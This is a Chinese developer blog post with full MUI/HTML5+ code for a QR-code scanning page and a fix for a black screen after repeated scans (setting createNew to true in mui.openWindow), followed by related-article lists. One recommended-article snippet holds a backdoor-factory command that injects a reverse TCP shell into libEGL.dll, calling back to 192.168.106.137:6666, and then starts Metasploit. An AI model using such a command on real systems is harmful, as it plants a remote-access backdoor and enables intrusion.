mui 扫一扫识别二维码 以及多次扫码后从结果页返回时黑屏问题解决

 扫一扫页面全部代码

<!doctype html>
<html>

    <head>
        <meta charset="UTF-8">
        <title></title>
        <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" />
        <link href="css/mui.min.css" rel="stylesheet" />
        <link rel="stylesheet" href="css/index.css" />
        <style type="text/css">
            .mui-bar {
                height: 3rem;
                line-height: 2.8rem;
                color: #fff;
                background: #000;
            }
            
            .mui-bar h1 {
                color: #fff;
            }
            
            .code {
                position: absolute;
                top:3rem;
                left: 0;
                width: 100%;
                height: 100%;
                background: #000000;
                
            }
        </style>
    </head>

    <body>
        <header class="mui-bar">
            <a class="mui-pull-left" onclick="goReturn()">返回</a>
            <h1 class="mui-title">二维码扫描</h1>
            <span class="mui-spin mui-pull-right" onclick="scanPicture();">相册</span>
        </header>
        <div id="code" class="code" style="">
            <!--盛放扫描控件的div-->
        </div>
　　　　　　　　
<script src="js/mui.min.js"></script>
           <script type="text/javascript">
            scan = null; //扫描对象  
            mui.plusReady(function() {
                mui.init();
                startRecognize();
            });
            
            function startRecognize() {
                try {
                    var filters;
                    //自定义的扫描控件样式  
                    var styles = {
                        frameColor: "#0000FF",
                        scanbarColor: "#0000FF"
                    };
                    //扫描控件构造  
                    scan = new plus.barcode.Barcode('code', filters, styles);
                    scan.onmarked = onmarked;
                    scan.onerror = onerror;
                    scan.start();
                } catch(e) {
                    mui.alert("出现错误啦:\n" + e);
                }
            };

            function onerror(e) {
                miu.alert(e);
            };

            function onmarked(type, result) {
                var text = '';
                switch(type) {
                    case plus.barcode.QR:
                        text = 'QR: ';
                        break;
                    case plus.barcode.EAN13:
                        text = 'EAN13: ';
                        break;
                    case plus.barcode.EAN8:
                        text = 'EAN8: ';
                        break;
                }          
                   // plus.runtime.openURL(result);               
                  scan.cancel();//结束条码识别
                scan.close(); //关闭条码识别控件

　　　　　　　　　　  plus.runtime.openURL("add.html?"+"giveId="+ result); 
            };
            // 从相册中选择二维码图片   
            function scanPicture() {
                plus.gallery.pick(function(path) {
                    plus.barcode.scan(path, onmarked, function(error) {
                        plus.nativeUI.alert("无法识别此图片");
                    });
                    
                });
            }

            //返回关闭条码识别控件不然识别控件会一直显示
            function goReturn() {
                scan.cancel();//结束条码识别
                scan.close(); //关闭条码识别控件
                mui.back();
            }                        
            
            //子页面按键返回
            document.addEventListener('plusready', function() {
                var webview = plus.webview.currentWebview();
                plus.key.addEventListener('backbutton', function() {
                    scan.close(); //关闭扫码条件
                    webview.canBack(function(e) {
                        if(e.canBack) {
                            webview.back();
                        } else {
                            webview.close();
                        }
                    })
                });
            });
        </script>
    </body>

</html>

黑屏的原因是打开的不是一个新页面是之前缓存的页面，mui.openWindow里面的createNew默认为false，因为一直使用同一个页面这个带有缓存页面所以会出现黑屏bug

这个createNew默认为false有时候还会导致同一个页面第二次点击时没有反应 解决方法把它变为true即可。

以下代码意思是打开一个新页面

mui.openWindow({

    url: "wd.html",

    createNew:true

});

createNew:false //是否重复创建同样id的webview，默认为false:不重复创建，直接显示 这里设为true表示每次都创建一个新页面。

mui 二维码扫描功能的更多相关文章

  1. iOS 自带二维码扫描功能的实现

    自从iOS7以后中新增了二维码扫描功能.因此可以在不借助第三方类库的情况下简单的写出二维码的扫描功能: 原生的二维码扫描功能在AVFoundation框架下,所以在使用原生的二维码扫描功能时要先导入A ...

  2. 有关iOS系统中调用相机设备实现二维码扫描功能的注意点（3/3）

    今天我们接着聊聊iOS系统实现二维码扫描的其他注意点. 大家还记得前面我们用到的输出数据的类对象吗?AVCaptureMetadataOutput,就是它!如果我们需要实现目前主流APP扫描二维码的功 ...

  3. angularjs+ionic+'h5+'实现二维码扫描功能

    今天给大家分享一下基于angularjs与ionic框架实现手机二维码扫描的功能.没有用到cordova等任何插件,h5+实现的. 开发工具:hbuilder 首先,需要在hbuilder项目下面的配 ...

  4. IOS开发---菜鸟学习之路--（二十）-二维码扫描功能的实现

    本章将讲解如何实现二维码扫描的功能 首先在github上下载ZBar SDK地址https://github.com/bmorton/ZBarSDK 然后将如下的相关类库添加进去 AVFoundati ...

  5. Android集成二维码扫描功能

    文章转载自  https://github.com/yipianfengye/android-zxingLibrary 在具体介绍该扫描库之前我们先看一下其具体的使用方式,看看是不是几行代码就可以集成 ...

  6. MUI 二维码扫描并跳转

    1 首页 index.html <li id="html/barcode.html" onclick="clicked(this.id)"> < ...

  7. Android实现二维码扫描功能

    1.效果预览 先上图展示效果(模拟器没有摄像头,录出来效果不好,将就看) 2.集成步骤 1.拷贝本项目demo中的com.google.zxing5个包引入到自己的项目中. 2.拷贝本项目demo中的 ...

  8. Android二维码扫描功能的集成开发

    二维码开发主要依赖ZXing开源项目 项目地址:https://github.com/zxing/zxing 这个开源项目可以扫描一维,和二维码, 一维码指的是书后面的条形码 首先配置ZXing库和A ...

  9. 使用ionic2开发一个二维码扫描功能

    界面添加一个按钮: <button ion-button block color="secondary" class="Scan-button" (cli ...

随机推荐

  1. Git上传相关资料

    ############ssh key及 配置信息############# 设置Git的user name和email: $ git config --global user.name " ...

  2. 学习django: 庄园漫步

    最近在阅读django的资料. 发现一个系列写得很好. <被解放的姜戈> 作者:Vamei     出处:http://www.cnblogs.com/vame 感谢大神指路呀~

  3. Codeforces 1228D. Complete Tripartite

    传送门 不妨设 $1$ 号点在集合 $1$ 里 那么对于其他点,有且只有所有和 $1$ 没有边的点都在集合 $1$ 里 考虑不在集合 $1$ 的任意一个点 $x$ ,不妨设它在集合 $2$ 里 那么所 ...

  4. 分布式---Paxos算法

    5.Paxos   Paxos算法解决的问题是一个分布式系统如何就某个值(决议)达成一致.一个典型的场景就是,在一个分布式数据库系统中,如果各节点的初始状态一致,每个节点执行相同的操作序列,那么他们最 ...

  5. websocket具体如何使用

    本人是在https://blog.csdn.net/jintingbo/article/details/80755636此地址学习的,所以留做笔记用于之后的学习 现在在写一个工程,是关于监控摄像头的, ...

  6. VMware安装CentOS7_1511 mini版本

    这次安装使用的是 CentOS7_1511_mini 如果没有点击下载 点击下载

  7. 2019.10.9wechat反弹shell复现

    ./backdoor.py -f libEGL.dll -s reverse_shell_tcp_inline -P 6666 -H 192.168.106.137 msfconsle 打开msf 在 ...

  8. init container

    init container与应用容器在本质上是一样的, 但它们是仅运行一次就结束的任务, 并且必须在成功执行完成后, 系统才能继续执行下一个容器, 可以用在例如应用容器启动前做一些初始化工作,当in ...

  9. 跟着动画来学习TCP三次握手和四次挥手

    TCP三次握手和四次挥手的问题在面试中是最为常见的考点之一.很多读者都知道三次和四次,但是如果问深入一点,他们往往都无法作出准确回答. 点我查看如何应对面试中的三次握手.四次挥手 本篇尝试使用动画来对 ...

  10. Centos 7 Samba服务安装

    Centos 7 Samba服务安装搭建Samba服务器是为了实现Linux共享目录之后,在Windows可以直接访问该共享目录. 查看是已安装samba包: rpm -qa | grep samba ...